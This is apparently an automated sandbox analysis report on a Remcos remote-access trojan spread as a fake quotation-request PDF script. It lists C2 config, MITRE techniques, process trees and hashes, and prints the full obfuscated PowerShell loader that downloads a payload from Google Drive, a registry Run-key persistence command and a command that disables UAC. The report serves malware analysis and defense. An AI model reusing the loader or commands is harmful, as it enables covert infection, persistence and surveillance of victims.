remcos | 56c812e915b13daf7330c3e62fba75065fd344c7f5743aa76c557be2abc8ff2e

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 07:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

견적요청-SNU-RFQ-25-0074_2024-25-11·pdf.vbs
Size

15KB
MD5

4080a1f28d2e8017fefb06ca6d46b608
SHA1

add65be2539a98c3ce1c2bd82fb9a63a46b9c050
SHA256

1fbf193c059f852718522ab608ebfeaebc3062bc2da2e4450be765f3718b210c
SHA512

4647908cbaeca76c30cba24f1bb985f07b5eade617aafbec26bd74bebff5cf52d4a70b9580b2f182173ae98df5b50324a232cdfc1e4fa86141b57736e46bb381
SSDEEP

384:RBOrNzhAwnWeEzMF7JDSz5nFheEduNsLXiEwnyB+7rH:2ZzhAjemMF7JDSzhFhV20XMyU7rH

Score

10^/10

remcos remotehost discovery evasion execution persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

5nd42h78s.duckdns.org:3782

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-J5NDOL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
3	2108	WScript.exe
9	1968	powershell.exe
15	1968	powershell.exe
25	4844	msiexec.exe
27	4844	msiexec.exe
29	4844	msiexec.exe
32	4844	msiexec.exe
33	4844	msiexec.exe
35	4844	msiexec.exe
41	4844	msiexec.exe
47	4844	msiexec.exe
51	4844	msiexec.exe
53	4844	msiexec.exe
54	4844	msiexec.exe
55	4844	msiexec.exe
56	4844	msiexec.exe
57	4844	msiexec.exe
58	4844	msiexec.exe
59	4844	msiexec.exe
60	4844	msiexec.exe
61	4844	msiexec.exe
62	4844	msiexec.exe
63	4844	msiexec.exe
64	4844	msiexec.exe
65	4844	msiexec.exe
66	4844	msiexec.exe
67	4844	msiexec.exe
68	4844	msiexec.exe
69	4844	msiexec.exe
70	4844	msiexec.exe
71	4844	msiexec.exe
72	4844	msiexec.exe
73	4844	msiexec.exe
74	4844	msiexec.exe
75	4844	msiexec.exe
76	4844	msiexec.exe
77	4844	msiexec.exe
80	4844	msiexec.exe
82	4844	msiexec.exe
83	4844	msiexec.exe
84	4844	msiexec.exe
85	4844	msiexec.exe
86	4844	msiexec.exe
87	4844	msiexec.exe
88	4844	msiexec.exe
89	4844	msiexec.exe
90	4844	msiexec.exe
91	4844	msiexec.exe
92	4844	msiexec.exe
93	4844	msiexec.exe
94	4844	msiexec.exe
95	4844	msiexec.exe
96	4844	msiexec.exe
97	4844	msiexec.exe
98	4844	msiexec.exe
99	4844	msiexec.exe
100	4844	msiexec.exe
101	4844	msiexec.exe
104	4844	msiexec.exe
106	4844	msiexec.exe
107	4844	msiexec.exe
109	4844	msiexec.exe
110	4844	msiexec.exe
113	4844	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Isttes70 = "%Poddidge% -windowstyle 1 $Cachaemic=(gp -Path 'HKCU:\\Software\\fllesfunktions\\').Reportagernes;%Poddidge% ($Cachaemic)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
1968	powershell.exe
2028	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
8	drive.google.com
9	drive.google.com
25	drive.google.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

Processes:

powershell.exepowershell.exe

pid	Process
2028	powershell.exe
1968	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
4844	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2028	powershell.exe
4844	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

reg.exepowershell.exemsiexec.execmd.exereg.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exe

pid	Process
4292	reg.exe
3412	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
1968	powershell.exe
1968	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
2028	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
4844	msiexec.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.execmd.exe

description	pid	Process	procid_target
PID 2108 wrote to memory of 1968	2108	WScript.exe	82
PID 2108 wrote to memory of 1968	2108	WScript.exe	82
PID 2028 wrote to memory of 4844	2028	powershell.exe	93
PID 2028 wrote to memory of 4844	2028	powershell.exe	93
PID 2028 wrote to memory of 4844	2028	powershell.exe	93
PID 2028 wrote to memory of 4844	2028	powershell.exe	93
PID 4844 wrote to memory of 4144	4844	msiexec.exe	94
PID 4844 wrote to memory of 4144	4844	msiexec.exe	94
PID 4844 wrote to memory of 4144	4844	msiexec.exe	94
PID 4144 wrote to memory of 4292	4144	cmd.exe	96
PID 4144 wrote to memory of 4292	4144	cmd.exe	96
PID 4144 wrote to memory of 4292	4144	cmd.exe	96
PID 4844 wrote to memory of 1928	4844	msiexec.exe	97
PID 4844 wrote to memory of 1928	4844	msiexec.exe	97
PID 4844 wrote to memory of 1928	4844	msiexec.exe	97
PID 1928 wrote to memory of 3412	1928	cmd.exe	99
PID 1928 wrote to memory of 3412	1928	cmd.exe	99
PID 1928 wrote to memory of 3412	1928	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\견적요청-SNU-RFQ-25-0074_2024-25-11·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tampers='flappe';;$Sophus189='Bystanders';;$Medalize='Bankfilialer';;$Lnudviklingens160='Statsministres';;$Fonotekernes='Bisonokses';;$fremmedfrerne=$host.Name;function Heksekedelens($Afvaskningens){If ($fremmedfrerne) {$Nonspecious=4} for ($Ambonnay=$Nonspecious;;$Ambonnay+=5){if(!$Afvaskningens[$Ambonnay]) { break }$Zarismes20+=$Afvaskningens[$Ambonnay]}$Zarismes20}function Teutomaniac($Grundvandsbeskyttelser){ .($cyklinger) ($Grundvandsbeskyttelser)}$Hyoglycocholic=Heksekedelens 'N utNBiple P.cTDk.t. utbWAdjuEOoecBAb ncCaeclFo.uIwhipeKalvnTorvt';$Pluskvamperfektummer=Heksekedelens 'InddMembao.ullzRangiEftelSkurlDactagrov/';$Svajryg=Heksekedelens 'LibeTRisalBorgs Co.1 Tv 2';$Unparagraphed='Stru[a soNTov ESkretRoed.CompsS,ene olrArchvFeraI aeCIndoEOffePMis OTettiDa pNS ioT AbdMOc,oaRe rNApolAProgGProteTil.r Cau]Skrf:Skt :U resSkrmEQuadc,arauGerar SchiCapaTLandYSlvgPRemeR RazoParatLodzooathC kndop lyLG or=Lkke$Sedds LymV CodaEminj FreROverYUnc,G';$Pluskvamperfektummer+=Heksekedelens 'C nc5 Udb.fixe0Spil Pall(ProdW etsiSchonfiskdRen o rafwTeorsPlur exxN U iT.ndt U l1Patu0Alfa. Sha0w nn; Das ,ostWDro,iMiljn rsl6Akva4 ,fm;Ophi pegax,van6 Ret4Preh;Aflb Un qrRuflvso g:Miav1Revi3Peas1O lt.Samp0 Sty)Fils Sup G.ngbeMun.cOblik erioTils/Hert2Sml 0De,y1 Amb0 R v0Zara1Soli0Lerd1Char SemiFappli ilbrPalee S rfArkioGrunxKo t/Stav1Vlte3B ir1 Ser. a,a0';$Hjertekardiografsignaler=Heksekedelens 'RustUKeybS Mete TolrTv r-s rfAKa tg atETubuN ertT';$Thionation=Heksekedelens 'EntohBolitDriftSnigp se sPhot: Oms/afsp/Kampd Pr rFlasi UncvFebeeBlge.Fu,ogB,neoPervoByb g fvilChafeOrth.HandcHje oPulvmN za/PalauFermc Sad?,lybeUninxMdeapCypro Mi.rJolltdamm=KirudcatioBeviwAtt nOpialFortobestaSalvdDeho&Femti Me dba,k=Poly1fo lUAlkyS apopSocidnavnI eva8StopR ympM bonw CoabSeksDMolsO PlaxJuli5 a,dgBena6pontCSkisxUnosZ HagsMiraLRetfmSo eu TracSv nqDink_Fl v9 Noto N,kc .as1 andPLnn,W';$Dromometer=Heksekedelens 'Tags>';$cyklinger=Heksekedelens 'Pod iFinaE Corx';$Verdensformats='Stringy';$Hamamelin='\Mundil.Snn';Teutomaniac (Heksekedelens ' Slu$ Frig culLC rao .ahB F cA Locl.edb:StamlBomboBr,nT Al.TEncaeNonar xypiKaryEHornrSans=Casi$ areSmaanUndyVPerd:DiskaE ilpKuldp agD Neda ordtRu mAS nk+ ech$ ImphMariaEssaM Aaba SlamDatae B jLTolviByudn');Teutomaniac (Heksekedelens 'Upsp$ agbgReprl GueO Fejb RkkA icklNiy :Mor.BPlexUSc oR,ncoG ilke iluR ebyED.clS ast= lse$KargtQuadhBaryi resOYel.NCdroAOve.tOvn,iMi tocat NTr.b.SignsMiscPUdmaLTappI OveTF lk(bran$Kvrnd esr BesoCasam SnioTrylM heaEElekt SyzEUd.rRPr i)');Teutomaniac (Heksekedelens $Unparagraphed);$Thionation=$Burgeres[0];$Placative=(Heksekedelens 'Clud$SkrigHa eL WpboPolkBGumlaKravLForg: TuriS otNUnpraLou U.hudsPr dpPar.I arbc gniFr.kOFor.U Ke sBirsnOvere,riesErhvsButy=PresNMeloeRaadw ,il-Omsao dyrb Wi j chiEVi icfor tT ot KrydSUdsmyPl dSst itTreceObermGl s.Cl,a$Pi uHNyheY BudOLesbg acol G.gyTankcFiltoBe,ec dekhFinroStavlLutriShaiC');Teutomaniac ($Placative);Teutomaniac (Heksekedelens '.rle$ oldITrk,n U,iaGardu,ousssatapSe,oi U hcLavei oluoPrivuKulasPe rn HaneEnfes,onnsFinh. E,pHWhifeLa yaBuckdInd eG.llr Kr sCopp[Appa$h,rrH MiljMal,eFor rSoapt TyseCai kSkudaCloardaybdd,reiVe.eo Cynghockr ara ystfFldesPaahiTeksgTigrnArisaOp al Stoe acrShor]Pn e= re $SikkPCro lMakeuIndusSleikTrskvHarpaFilemOktapIcare ponrTabufPhane edlkHa.etUnneust nmSynsmSpdbeSv,nr');$Unpiles=Heksekedelens 'Biog$ConfIRe.inDi.ka r nu.alvsvivapv rki,ylecEmiliKonto HeiuMinasS,ilnQuare,lynsFemesConv. C,iDSandoVil wGramnEmi,lBehoomereaIndsdSensFNatuiRusklOscaeSka ( X,n$ F,eTFlinh Omli AraoHampnDiazaJ lltJumpiXerioCan.nC.yo, ste$ P eGSkareAf,onK ffuVaassS ale OmrsNote)';$Genuses=$Lotterier;Teutomaniac (Heksekedelens 's rv$Ki.dGD,ifLQu kOBaskBU.vaA.ordlSi,u:SlynV SagiChi aunvedTotau LanCCo,ltPods7Spa 7hmor= U o(succTOttaeKnleS dysT Dom-AchrPTurraUdsktAfv H ype ci$acroG SmlePokenCom,UBondS UnveSubasud p)');while (!$Viaduct77) {Teutomaniac (Heksekedelens 'Rhi,$jaymg.ecklMytho Ca.bUnwaaNak lYell: M rCKernaUnsilMyx l Cetidia gAggrrG epaSt spSimuhTow,eEp prA to= Sta$ remDFavoi RouvTempiSidedJagte D srStyreC tys') ;Teutomaniac $Unpiles;Teutomaniac (Heksekedelens 'Ex rsMisdt Ge,AcoxorTag.tReps- onSFundl ProeAnnieEn.eP Uer uan4');Teutomaniac (Heksekedelens 'Skl $Ef,eg emlMarkoSkjtbPultaPhy.LEnkn:delavVa iiDo bALanddJus UKr iC Reft C r7Tari7 dh=Anab(Indtt GeneSkovS UneTCo,s-GoldPKe,yaFor,tH,ndh Vik Penr$GravgSkufECry NEngjuMgfasBl.neG lfs Vas)') ;Teutomaniac (Heksekedelens ' Unb$Unexg rafL.oosOHetzb SpeaHulkLS.or:St spCh liK hrCLa.dC misAs avlNon,i Poilnve,lReguiv lj=Comp$NailgMetal.oraOParaBNo,daBraulaver:Di eFDamkGFr dtP eaeSjleM radA SjiSNoniKop ieBranR Exin eroEPale+Le f+ ici%B,ot$neutb igujonqRPhajGpapeeDereRNaboEForeSUdsp.Elguc RanoSommu TilN ushT') ;$Thionation=$Burgeres[$Piccalilli]}$Ambonnayndtales=302364;$Frough=31066;Teutomaniac (Heksekedelens 'Stup$kursG Rysl xpO ickbDisbAfilkLLdre:railT navA UnpWMesoNHj rINomaNParteL.diSThymsPeni9Chry9 Rnt Stan= ark HamaGTil eEnfoTCo r-VirocBageosin N NottSta ESympNReprt unt Unri$ .ubG one.tudn Ly U Wh s,ndve akts');Teutomaniac (Heksekedelens 'Eksp$Abs,g hialApocoFornbSup aHalvlbill: OttTOveroandrpL.inn hrogHarnltimmeThic Gen=f.lt O er[ForsSscisySitus FortChibe idemTrin.MalaC rivoPramnDdtev BygeGaderWh mtReto]Sca :Degr:SimpF S or U.po P mm KotBAlbaaV idsh.peeUdka6Cirk4R ntS SpitMe orJuleiQuean logKron(Brom$ slaTSundaSlubwcoenn SynitrisnUnwee T hsBulls Fol9Hymn9Coop)');Teutomaniac (Heksekedelens 'Sawl$BleagSkrilFiacoGlambUnjaAHmsklSt t:TeledPataeStngC befR AnsYTetr Ba.n=e do Watc[,isdsMargYSulpS FrstRid EBombM Lu . gi TClaveAra.XNearT Knu. DareSpa N racArc,oCatsDSelaiCoinN ,ydGSynd] F,r: tap: SkuAan,oSVenncPennI TaxI Sam.F lsGFlidecoriTN,nfsIag T,lurr.dioi amenRemoGbesv( A.o$ A.dtVel OChasp SkanHimmgCistlElboePlo )');Teutomaniac (Heksekedelens 'Uun,$PictgJumpLdd iOH wbBMamaAT,anlMono: lndtSprnoResunBelts,emeiBrndlEv,lI ExiTFlabi clecZone= Bla$S.brDF.emE.salcNon r Ns YAut,.TilmSBe luSu rBhelbsC seTSkatr pegiAgernlanigSicl( A t$ D.iAE erM Ornb,odoOKurcNT ibnamazaTr fy Brun PerDMaletIn eAPhosLRke.E St sE il,Q.ad$FejlFeu oR Quio afbUDiagGUdfyh Hnn)');Teutomaniac $tonsilitic;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tampers='flappe';;$Sophus189='Bystanders';;$Medalize='Bankfilialer';;$Lnudviklingens160='Statsministres';;$Fonotekernes='Bisonokses';;$fremmedfrerne=$host.Name;function Heksekedelens($Afvaskningens){If ($fremmedfrerne) {$Nonspecious=4} for ($Ambonnay=$Nonspecious;;$Ambonnay+=5){if(!$Afvaskningens[$Ambonnay]) { break }$Zarismes20+=$Afvaskningens[$Ambonnay]}$Zarismes20}function Teutomaniac($Grundvandsbeskyttelser){ .($cyklinger) ($Grundvandsbeskyttelser)}$Hyoglycocholic=Heksekedelens 'N utNBiple P.cTDk.t. utbWAdjuEOoecBAb ncCaeclFo.uIwhipeKalvnTorvt';$Pluskvamperfektummer=Heksekedelens 'InddMembao.ullzRangiEftelSkurlDactagrov/';$Svajryg=Heksekedelens 'LibeTRisalBorgs Co.1 Tv 2';$Unparagraphed='Stru[a soNTov ESkretRoed.CompsS,ene olrArchvFeraI aeCIndoEOffePMis OTettiDa pNS ioT AbdMOc,oaRe rNApolAProgGProteTil.r Cau]Skrf:Skt :U resSkrmEQuadc,arauGerar SchiCapaTLandYSlvgPRemeR RazoParatLodzooathC kndop lyLG or=Lkke$Sedds LymV CodaEminj FreROverYUnc,G';$Pluskvamperfektummer+=Heksekedelens 'C nc5 Udb.fixe0Spil Pall(ProdW etsiSchonfiskdRen o rafwTeorsPlur exxN U iT.ndt U l1Patu0Alfa. Sha0w nn; Das ,ostWDro,iMiljn rsl6Akva4 ,fm;Ophi pegax,van6 Ret4Preh;Aflb Un qrRuflvso g:Miav1Revi3Peas1O lt.Samp0 Sty)Fils Sup G.ngbeMun.cOblik erioTils/Hert2Sml 0De,y1 Amb0 R v0Zara1Soli0Lerd1Char SemiFappli ilbrPalee S rfArkioGrunxKo t/Stav1Vlte3B ir1 Ser. a,a0';$Hjertekardiografsignaler=Heksekedelens 'RustUKeybS Mete TolrTv r-s rfAKa tg atETubuN ertT';$Thionation=Heksekedelens 'EntohBolitDriftSnigp se sPhot: Oms/afsp/Kampd Pr rFlasi UncvFebeeBlge.Fu,ogB,neoPervoByb g fvilChafeOrth.HandcHje oPulvmN za/PalauFermc Sad?,lybeUninxMdeapCypro Mi.rJolltdamm=KirudcatioBeviwAtt nOpialFortobestaSalvdDeho&Femti Me dba,k=Poly1fo lUAlkyS apopSocidnavnI eva8StopR ympM bonw CoabSeksDMolsO PlaxJuli5 a,dgBena6pontCSkisxUnosZ HagsMiraLRetfmSo eu TracSv nqDink_Fl v9 Noto N,kc .as1 andPLnn,W';$Dromometer=Heksekedelens 'Tags>';$cyklinger=Heksekedelens 'Pod iFinaE Corx';$Verdensformats='Stringy';$Hamamelin='\Mundil.Snn';Teutomaniac (Heksekedelens ' Slu$ Frig culLC rao .ahB F cA Locl.edb:StamlBomboBr,nT Al.TEncaeNonar xypiKaryEHornrSans=Casi$ areSmaanUndyVPerd:DiskaE ilpKuldp agD Neda ordtRu mAS nk+ ech$ ImphMariaEssaM Aaba SlamDatae B jLTolviByudn');Teutomaniac (Heksekedelens 'Upsp$ agbgReprl GueO Fejb RkkA icklNiy :Mor.BPlexUSc oR,ncoG ilke iluR ebyED.clS ast= lse$KargtQuadhBaryi resOYel.NCdroAOve.tOvn,iMi tocat NTr.b.SignsMiscPUdmaLTappI OveTF lk(bran$Kvrnd esr BesoCasam SnioTrylM heaEElekt SyzEUd.rRPr i)');Teutomaniac (Heksekedelens $Unparagraphed);$Thionation=$Burgeres[0];$Placative=(Heksekedelens 'Clud$SkrigHa eL WpboPolkBGumlaKravLForg: TuriS otNUnpraLou U.hudsPr dpPar.I arbc gniFr.kOFor.U Ke sBirsnOvere,riesErhvsButy=PresNMeloeRaadw ,il-Omsao dyrb Wi j chiEVi icfor tT ot KrydSUdsmyPl dSst itTreceObermGl s.Cl,a$Pi uHNyheY BudOLesbg acol G.gyTankcFiltoBe,ec dekhFinroStavlLutriShaiC');Teutomaniac ($Placative);Teutomaniac (Heksekedelens '.rle$ oldITrk,n U,iaGardu,ousssatapSe,oi U hcLavei oluoPrivuKulasPe rn HaneEnfes,onnsFinh. E,pHWhifeLa yaBuckdInd eG.llr Kr sCopp[Appa$h,rrH MiljMal,eFor rSoapt TyseCai kSkudaCloardaybdd,reiVe.eo Cynghockr ara ystfFldesPaahiTeksgTigrnArisaOp al Stoe acrShor]Pn e= re $SikkPCro lMakeuIndusSleikTrskvHarpaFilemOktapIcare ponrTabufPhane edlkHa.etUnneust nmSynsmSpdbeSv,nr');$Unpiles=Heksekedelens 'Biog$ConfIRe.inDi.ka r nu.alvsvivapv rki,ylecEmiliKonto HeiuMinasS,ilnQuare,lynsFemesConv. C,iDSandoVil wGramnEmi,lBehoomereaIndsdSensFNatuiRusklOscaeSka ( X,n$ F,eTFlinh Omli AraoHampnDiazaJ lltJumpiXerioCan.nC.yo, ste$ P eGSkareAf,onK ffuVaassS ale OmrsNote)';$Genuses=$Lotterier;Teutomaniac (Heksekedelens 's rv$Ki.dGD,ifLQu kOBaskBU.vaA.ordlSi,u:SlynV SagiChi aunvedTotau LanCCo,ltPods7Spa 7hmor= U o(succTOttaeKnleS dysT Dom-AchrPTurraUdsktAfv H ype ci$acroG SmlePokenCom,UBondS UnveSubasud p)');while (!$Viaduct77) {Teutomaniac (Heksekedelens 'Rhi,$jaymg.ecklMytho Ca.bUnwaaNak lYell: M rCKernaUnsilMyx l Cetidia gAggrrG epaSt spSimuhTow,eEp prA to= Sta$ remDFavoi RouvTempiSidedJagte D srStyreC tys') ;Teutomaniac $Unpiles;Teutomaniac (Heksekedelens 'Ex rsMisdt Ge,AcoxorTag.tReps- onSFundl ProeAnnieEn.eP Uer uan4');Teutomaniac (Heksekedelens 'Skl $Ef,eg emlMarkoSkjtbPultaPhy.LEnkn:delavVa iiDo bALanddJus UKr iC Reft C r7Tari7 dh=Anab(Indtt GeneSkovS UneTCo,s-GoldPKe,yaFor,tH,ndh Vik Penr$GravgSkufECry NEngjuMgfasBl.neG lfs Vas)') ;Teutomaniac (Heksekedelens ' Unb$Unexg rafL.oosOHetzb SpeaHulkLS.or:St spCh liK hrCLa.dC misAs avlNon,i Poilnve,lReguiv lj=Comp$NailgMetal.oraOParaBNo,daBraulaver:Di eFDamkGFr dtP eaeSjleM radA SjiSNoniKop ieBranR Exin eroEPale+Le f+ ici%B,ot$neutb igujonqRPhajGpapeeDereRNaboEForeSUdsp.Elguc RanoSommu TilN ushT') ;$Thionation=$Burgeres[$Piccalilli]}$Ambonnayndtales=302364;$Frough=31066;Teutomaniac (Heksekedelens 'Stup$kursG Rysl xpO ickbDisbAfilkLLdre:railT navA UnpWMesoNHj rINomaNParteL.diSThymsPeni9Chry9 Rnt Stan= ark HamaGTil eEnfoTCo r-VirocBageosin N NottSta ESympNReprt unt Unri$ .ubG one.tudn Ly U Wh s,ndve akts');Teutomaniac (Heksekedelens 'Eksp$Abs,g hialApocoFornbSup aHalvlbill: OttTOveroandrpL.inn hrogHarnltimmeThic Gen=f.lt O er[ForsSscisySitus FortChibe idemTrin.MalaC rivoPramnDdtev BygeGaderWh mtReto]Sca :Degr:SimpF S or U.po P mm KotBAlbaaV idsh.peeUdka6Cirk4R ntS SpitMe orJuleiQuean logKron(Brom$ slaTSundaSlubwcoenn SynitrisnUnwee T hsBulls Fol9Hymn9Coop)');Teutomaniac (Heksekedelens 'Sawl$BleagSkrilFiacoGlambUnjaAHmsklSt t:TeledPataeStngC befR AnsYTetr Ba.n=e do Watc[,isdsMargYSulpS FrstRid EBombM Lu . gi TClaveAra.XNearT Knu. DareSpa N racArc,oCatsDSelaiCoinN ,ydGSynd] F,r: tap: SkuAan,oSVenncPennI TaxI Sam.F lsGFlidecoriTN,nfsIag T,lurr.dioi amenRemoGbesv( A.o$ A.dtVel OChasp SkanHimmgCistlElboePlo )');Teutomaniac (Heksekedelens 'Uun,$PictgJumpLdd iOH wbBMamaAT,anlMono: lndtSprnoResunBelts,emeiBrndlEv,lI ExiTFlabi clecZone= Bla$S.brDF.emE.salcNon r Ns YAut,.TilmSBe luSu rBhelbsC seTSkatr pegiAgernlanigSicl( A t$ D.iAE erM Ornb,odoOKurcNT ibnamazaTr fy Brun PerDMaletIn eAPhosLRke.E St sE il,Q.ad$FejlFeu oR Quio afbUDiagGUdfyh Hnn)');Teutomaniac $tonsilitic;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Isttes70" /t REG_EXPAND_SZ /d "%Poddidge% -windowstyle 1 $Cachaemic=(gp -Path 'HKCU:\Software\fllesfunktions\').Reportagernes;%Poddidge% ($Cachaemic)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Isttes70" /t REG_EXPAND_SZ /d "%Poddidge% -windowstyle 1 $Cachaemic=(gp -Path 'HKCU:\Software\fllesfunktions\').Reportagernes;%Poddidge% ($Cachaemic)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4292
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
8394c4e2455e7c6b5e21b4282118eb01

SHA1
a063afbfd632eac488fc2a342433640f77908008

SHA256
407e1bc787b7c7ca6319ab65d1608d7dc6edda013de7b93e48392d83f2d05e5a

SHA512
af375e1cc50f43c5eb98c11370c5f09a675f39c5547915b9069919d48b7fddcabbe5e2bd6b8e1171019b027cf934695bfad673cb9d76e48f1c02af9d6f2f8bf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
